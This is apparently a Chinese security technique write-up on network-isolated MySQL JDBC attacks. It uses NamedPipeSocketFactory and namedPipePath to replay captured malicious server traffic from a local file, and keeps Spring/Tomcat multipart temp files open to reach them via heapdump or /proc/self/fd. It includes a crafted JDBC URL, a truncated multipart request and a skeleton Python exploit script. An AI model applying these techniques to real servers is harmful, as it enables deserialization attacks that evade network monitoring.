从JDBC MySQL不出网攻击到spring临时文件利用
字数 1488 2025-08-29 22:41:10
JDBC MySQL不出网攻击与Spring临时文件利用技术分析
0x00 传统攻击流程分析
传统JDBC MySQL攻击流程包含以下步骤:
- 攻击者控制目标JDBC连接指向恶意fakeServer
- 目标向fakeServer发起连接请求
- fakeServer下发恶意数据包
- 目标解析恶意数据包完成攻击(文件读取、反序列化等)
局限性:
- 需要外连恶意服务器
- 容易被流量设备监测
- 网络隔离环境下无法实施
0x01 MySQL驱动的socketFactory机制
socketFactory关键参数
- 默认值:
StandardSocketFactory.class.getName() - 功能:指定用于创建MySQL连接的Socket工厂类
核心类分析
-
StandardSocketFactory:
- 默认实现
- 使用TCP连接方式
- 需要网络连接MySQL Server
-
NamedPipeSocketFactory:
- 使用命名管道方式
- 关键代码路径:
// 使用RandomAccessFile打开指定路径文件 RandomAccessFile namedPipeFile = new RandomAccessFile(filePath, "rw"); - 连接参数:
namedPipePath(通过JDBC URL控制)
控制文件路径
- JDBC URL中通过
namedPipePath参数指定文件路径 - 示例格式:
jdbc:mysql://localhost:3306/test?socketFactory=com.mysql.jdbc.NamedPipeSocketFactory&namedPipePath=/path/to/file
0x02 不出网利用实现
攻击流程
-
构造恶意流量数据包
- 使用FakeServer生成攻击流量
- 通过Wireshark抓取完整TCP流
- 导出原始数据包
-
本地文件利用
- 将导出的数据包保存为文件(如1.pcap)
- 通过
namedPipePath指定该文件路径 - 触发JDBC连接实现反序列化攻击
必要条件
- 能将恶意数据文件推送到目标服务器
- 能控制JDBC连接参数
0x03 文件上传技术研究
方法一:业务功能上传
- 利用现有文件上传功能
- 直接上传恶意文件到已知路径
- 通过
namedPipePath指定上传文件路径
方法二:临时文件+heapdump泄漏
Spring Web文件上传机制
- 使用commons-fileupload处理上传
- 缓冲区大小:
DiskFileItemFactory.DEFAULT_THRESHOLD(10240字节) - 超过阈值时缓存到临时文件
- 临时文件路径格式:
/tmp/{tomcat_path}/work/Tomcat/localhost/ROOT/upload_{UID}_{UniqueId}.tmp- UID:随机UUID(类初始化时生成)
- UniqueId:自增ID(每次文件缓存+1)
防止文件删除技巧
- 修改HTTP请求使服务器持续等待:
- 去除multipart结束标志
-- - 示例:
POST /upload HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=xxxxxxxx Content-Length: 100000 --xxxxxxxx Content-Disposition: form-data; name="file"; filename="test.txt" Content-Type: text/plain [超过10KB的数据...
- 去除multipart结束标志
heapdump利用
- 触发临时文件生成
- 通过heapdump获取:
- UID值
- 临时文件绝对路径
- 预测下一个临时文件名(UniqueId+1)
方法三:去除heapdump依赖
/proc文件描述符利用
- Linux特性:未关闭的文件会在
/proc/self/fd/下显示 - 关键技巧:
- 不发送multipart结束标志
- 保持文件处于打开状态
- 通过
/proc/self/fd/x访问临时文件
最终利用脚本
import requests
url = "http://target.com/upload"
headers = {
"Content-Type": "multipart/form-data; boundary=xxxxxxxx",
"Content-Length": "1000000" # 设置超大值
}
# 构造不完整的multipart请求
data = (
"--xxxxxxxx\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"[超过10KB的恶意数据..."
# 不包含结束标志
)
# JDBC连接使用/proc文件描述符
jdbc_url = (
"jdbc:mysql://localhost:3306/test?"
"socketFactory=com.mysql.jdbc.NamedPipeSocketFactory&"
"namedPipePath=/proc/self/fd/x" # x为文件描述符编号
)
0x04 技术总结
攻击优势
- 完全不出网,绕过网络隔离
- 隐蔽性强,不易被流量设备检测
- 适用于多种需要本地文件的攻击场景
扩展应用
ClassPathXmlApplicationContext加载本地XML- 加载本地类文件
- 加载本地插件等场景
参考资源
- JDBC Tricks项目
- 包含URL绕过技巧和不出网利用demo
- 相关议题PPT和技术细节